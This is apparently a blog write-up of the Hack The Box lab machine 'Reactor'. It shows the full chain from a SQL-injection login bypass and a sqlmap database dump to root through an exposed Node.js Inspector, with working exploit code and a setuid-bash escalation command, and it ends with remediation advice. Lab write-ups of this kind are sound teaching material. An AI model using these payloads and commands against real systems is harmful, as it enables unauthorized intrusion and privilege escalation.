Back to blog
#HTB#Web#Node.js#RCE#Privesc#SQLite#Write-up

HTB Reactor — From Web to Root via Node.js Inspector RCE

LLLEBONI BAKLA Lionel•📅 June 20, 2026• ⏱️ 12 min

Reactor — Hack The Box (Enterprise / Yaoundé Meetup, June 2026) Difficulty: Medium • Tags: Web, Node.js, SQLite, Privesc

Attack Chain Summary

Web app (login) → SQLi → SQLite dump → credential reuse
   → user access → exposed Node.js Inspector → RCE → root

Reconnaissance

We start with classic enumeration:

nmap -sV -sC -p- 10.10.11.x

We discover two ports: 22 (SSH) and 80 (HTTP) with a Node.js web application.

ffuf -u http://10.10.11.x/FUZZ -w /usr/share/wordlists/dirb/common.txt

Several interesting endpoints, notably /login and /api/.

Initial Access — SQLite Dump

The login form is vulnerable. Testing a classic payload:

admin' OR '1'='1' --

We bypass authentication. But the real jackpot is the ability to directly read the backend SQLite database:

sqlmap -u "http://10.10.11.x/api/login" \
  --data "username=admin&password=test" \
  --dump --batch

We retrieve a users table with a hash that we crack via john or hashcat. The credentials give us SSH access as the reactor user.

ssh reactor@10.10.11.x

Post-Exploitation Enumeration

Once on the machine, we look for what’s running locally:

ss -tlnp
ps aux | grep -i node

We notice a Node.js process listening on 127.0.0.1:9229 — that’s the Node.js Inspector, the official debugger, exposed locally. 🚩

Privilege Escalation — Node.js Inspector RCE

The concept

When Node.js is launched with --inspect or --inspect-brk, it starts a debug server on port 9229 (by default). If this port is accessible (even on localhost), any local user can:

  1. Connect to the debugger via WebSocket
  2. Inspect and modify variables in real time
  3. Execute arbitrary code in the process context

Exploitation

We use chrome-remote-interface or Node.js tools directly:

# List inspect targets
curl -s http://127.0.0.1:9229/json | jq
// Exploit: connect and force execution
const CDP = require('chrome-remote-interface');
(async () => {
  const client = await CDP({ port: 9229 });
  const { Runtime } = client;
  await Runtime.enable();

  const result = await Runtime.evaluate({
    expression: `require('child_process').execSync('id').toString()`,
  });
  console.log(result.result.value);
})();

But the process was running as root! So the RCE gives us a root shell directly:

# Via the Inspector, we force execution
require('child_process').execSync(
  'chmod u+s /bin/bash'
);
/bin/bash -p
# whoami
root

Remediation

Problem Fix
SQLi on login Parameterized queries (prepared statements)
Readable SQLite Strict OS permissions + encryption if possible
Password reuse Anti-reuse policy, MFA
Exposed Node.js Inspector Never in production. Disable --inspect
Process as root Principle of least privilege — dedicated user

Conclusion

A super educational machine. The main lesson: an exposed debug tool, even on localhost, is a gateway to root as soon as an attacker has a foothold on the machine.

“Debugging is convenient. In production, it’s fatal.”

About the author

LEBONI BAKLA Lionel — Cybersecurity & Applied AI Engineer. Ethical Hacker • Bug Hunter • Junior DevSecOps • FullStack Developer.